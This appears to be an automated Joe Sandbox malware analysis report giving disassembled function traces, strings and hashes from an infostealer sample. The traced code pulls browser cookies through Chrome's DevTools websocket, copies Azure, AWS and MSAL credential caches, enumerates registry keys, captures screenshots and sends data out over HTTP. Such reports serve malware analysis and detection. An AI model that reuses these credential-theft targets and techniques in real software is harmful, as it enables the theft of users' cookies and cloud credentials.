GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT(?), ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,00862758,?,008620D0,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

", xrefs: 00405E66
", xrefs: 00405D25
S`A, xrefs: 004060CA
------, xrefs: 00405AE6
------, xrefs: 00405C5B
------, xrefs: 00405D9C
S`A, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$S`A$S`A
API String ID: 1406981993-1449208648
Opcode ID: bc10f56f9f7449aba196f1c66a965aaf32d9acabb9591c53c3bcb859c1968f33
Instruction ID: 528bda5bfb4e43d7cafc1c43cb8ffcda3f2e6465d8e228b0a039cdd5195e34d5
Opcode Fuzzy Hash: bc10f56f9f7449aba196f1c66a965aaf32d9acabb9591c53c3bcb859c1968f33
Instruction Fuzzy Hash: 1412FC71925128ABCB14EBA1DCA5FEEB379BF14714F00419EF10662091EF783B98CB59

Function 00409BE0 Relevance: 35.1, APIs: 15, Strings: 5, Instructions: 141
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00409A50: InternetOpenA.WININET(00420AF6,00000001,00000000,00000000,00000000), ref: 00409A6A

memset.MSVCRT ref: 00409C33
lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 00409C48
lstrcatA.KERNEL32(?,00000000), ref: 00409C5E
connect_to_websocket.CHROME(?,00000000), ref: 00409C76
memset.MSVCRT ref: 00409C9A
lstrcatA.KERNEL32(?,cookies), ref: 00409CAF
lstrcatA.KERNEL32(?,004212C4), ref: 00409CC1
lstrcatA.KERNEL32(?,?), ref: 00409CD5
lstrcatA.KERNEL32(?,004212C8), ref: 00409CE7
lstrcatA.KERNEL32(?,?), ref: 00409CFB
lstrcatA.KERNEL32(?,.txt), ref: 00409D0D
lstrlenA.KERNEL32(00000000), ref: 00409D17
lstrlenA.KERNEL32(00000000), ref: 00409D26

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

memset.MSVCRT ref: 00409D7E
free_result.CHROME(00000000), ref: 00409D8B

Strings

localhost, xrefs: 00409BF5
/devtools, xrefs: 00409C0B
.txt, xrefs: 00409D01
cookies, xrefs: 00409CA3
ws://localhost:9229, xrefs: 00409C3C

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$lstrlen$InternetOpenconnect_to_websocketfree_resultlstrcpy
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 2548846003-3542011879
Opcode ID: 8fe7c3fcfe360faa22593f97e4113398223892f47f8f887075de07db9a8ee46e
Instruction ID: dd0e0b2e904cac6dcb4644251d8498bdcd69e700431b121c7f08c254ac6fdba9
Opcode Fuzzy Hash: 8fe7c3fcfe360faa22593f97e4113398223892f47f8f887075de07db9a8ee46e
Instruction Fuzzy Hash: 97517E71D10518ABCB14EBE0EC55FEE7738AF14306F40456AF106A70D1EB78AA48CF69

Function 00414FC0 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414FD7

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 00415000
lstrcatA.KERNEL32(?,\.azure\), ref: 0041501D

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

memset.MSVCRT ref: 00415063
lstrcatA.KERNEL32(?,00000000), ref: 0041508C
lstrcatA.KERNEL32(?,\.aws\), ref: 004150A9

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

memset.MSVCRT ref: 004150EF
lstrcatA.KERNEL32(?,00000000), ref: 00415118
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00415135

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C00
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,004208D3), ref: 00414C15
Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C32
Part of subcall function 00414B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00414C6E
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,0085DCA0,?,000003E8), ref: 00414C9A
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE0), ref: 00414CAC
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CC0
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE4), ref: 00414CD2
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CE6
Part of subcall function 00414B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00414CFC
Part of subcall function 00414B60: DeleteFileA.KERNEL32(?), ref: 00414D81

memset.MSVCRT ref: 0041517B

Strings

\.aws\, xrefs: 0041509D
\.IdentityService\, xrefs: 00415129
*.*, xrefs: 00415028
msal.cache, xrefs: 00415140
Azure\.aws, xrefs: 004150AF
Azure\.azure, xrefs: 00415023
Azure\.IdentityService, xrefs: 0041513B
\.azure\, xrefs: 00415011
*.*, xrefs: 004150B4

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-974132213
Opcode ID: 017e18e56085ef56c6ba935e0ea78ebc52f6b3913b598829d900a5ada6bf78b8
Instruction ID: 39229561bcf9e6d20be1630849a4938ad9d2aa6361ec20f439e2b4dca26d7b75
Opcode Fuzzy Hash: 017e18e56085ef56c6ba935e0ea78ebc52f6b3913b598829d900a5ada6bf78b8
Instruction Fuzzy Hash: 3F41D6B5E4021867DB10F770EC4BFDD33385B60705F40485AB649660D2FEB8A7D88B9A

Function 0040CFF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,00859578,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D083
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D1C7
RtlAllocateHeap.NTDLL(00000000), ref: 0040D1CE
lstrcatA.KERNEL32(?,00000000,0085DBB0,0042156C,0085DBB0,00421568,00000000), ref: 0040D308
lstrcatA.KERNEL32(?,00421570), ref: 0040D317
lstrcatA.KERNEL32(?,00000000), ref: 0040D32A
lstrcatA.KERNEL32(?,00421574), ref: 0040D339
lstrcatA.KERNEL32(?,00000000), ref: 0040D34C
lstrcatA.KERNEL32(?,00421578), ref: 0040D35B
lstrcatA.KERNEL32(?,00000000), ref: 0040D36E
lstrcatA.KERNEL32(?,0042157C), ref: 0040D37D
lstrcatA.KERNEL32(?,00000000), ref: 0040D390
lstrcatA.KERNEL32(?,00421580), ref: 0040D39F
lstrcatA.KERNEL32(?,00000000), ref: 0040D3B2
lstrcatA.KERNEL32(?,00421584), ref: 0040D3C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D3D4
lstrcatA.KERNEL32(?,00421588), ref: 0040D3E3

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,0085DAF0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

lstrlenA.KERNEL32(?), ref: 0040D42A
lstrlenA.KERNEL32(?), ref: 0040D439
memset.MSVCRT ref: 0040D488

Part of subcall function 0041AD80: StrCmpCA.SHLWAPI(00000000,00421568,0040D2A2,00421568,00000000), ref: 0041AD9F

DeleteFileA.KERNEL32(00000000), ref: 0040D4B4

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 7c9242a2113102ae8900d318b9abf94e83b170d836d01cf4718c7f6b783ffe19
Instruction ID: 090733d9ad632ec07999f14fc915118f0ed2ae89bdc12e1fab3d18f5c5045e08
Opcode Fuzzy Hash: 7c9242a2113102ae8900d318b9abf94e83b170d836d01cf4718c7f6b783ffe19
Instruction Fuzzy Hash: 35E17571E15114ABCB04EBA1ED56EEE7339AF14305F10415EF106760A1EF38BB98CB6A

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,00862828), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDE,00000000,?,?,00000000,?,",00000000,?,00862818), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,00862758,?,008620D0,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

------, xrefs: 00404B78
", xrefs: 00404C42
------, xrefs: 00404A0D
", xrefs: 00404D83
------, xrefs: 00404CB9

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 68123d7059746dff21f30dcd76caaec0bea08dfc518c09c0031a32dbca0a1940
Instruction ID: 9047d27655e640063cf5e546897bb6ee72beef818384a457e6eae52f2661673c
Opcode Fuzzy Hash: 68123d7059746dff21f30dcd76caaec0bea08dfc518c09c0031a32dbca0a1940
Instruction Fuzzy Hash: 41121072A121189ACB14EB91DD66FEEB379AF14314F50419EF10662091EF383F98CF69

Function 004062D0 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,00862828), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,008620D0,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

ERROR, xrefs: 00406457
GET, xrefs: 004063CC
FUA, xrefs: 004062E0, 0040656D, 0040652E, 0040646C, 004062E3
ERROR, xrefs: 00406519

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$FUA$GET
API String ID: 3074848878-1334267432
Opcode ID: fa9be25572f42e6759a0746d7f7d0e3015448006c303ce218f8a39fdf7215f23
Instruction ID: e13f8b4f5a4983f25bfc964ce73e77e76ffbf3c7ad5d81db2c216f4c68459c1c
Opcode Fuzzy Hash: fa9be25572f42e6759a0746d7f7d0e3015448006c303ce218f8a39fdf7215f23
Instruction Fuzzy Hash: 33718171A00218ABDB14DF90DC59FEEB775AF44304F1081AAF6067B1D4DBB86A84CF59

Function 004184B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

RegOpenKeyExA.KERNEL32(00000000,0085E4A0,00000000,00020019,00000000,004205BE), ref: 00418534
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
wsprintfA.USER32 ref: 004185E9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
RegCloseKey.ADVAPI32(00000000), ref: 0041861C
RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Strings

%s\%s, xrefs: 004185DD
- , xrefs: 00418733
?, xrefs: 0041850A

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: d2adcaf6a1c16e2ad37204009bb7cb0eb5ab758dfa4bf761b037006472828a72
Instruction ID: c228fa157c9b2873a9233ab8a396ad333d8a8ae6667b392d6015aff843962e7d
Opcode Fuzzy Hash: d2adcaf6a1c16e2ad37204009bb7cb0eb5ab758dfa4bf761b037006472828a72
Instruction Fuzzy Hash: 47812D71911118ABDB24DB50DD95FEAB7B9BF08314F1082DEE10966180DF746BC8CFA9

Function 004191A0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 004191FC

Strings

`dAF, xrefs: 00419361, 004193D9, 0041930E, 004192DF, 004192B2, 0041920D, 004191E4, 00419364
`dAF, xrefs: 004191CF, 00419399, 004191D2, 0041939C
image/jpeg, xrefs: 004192C6

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

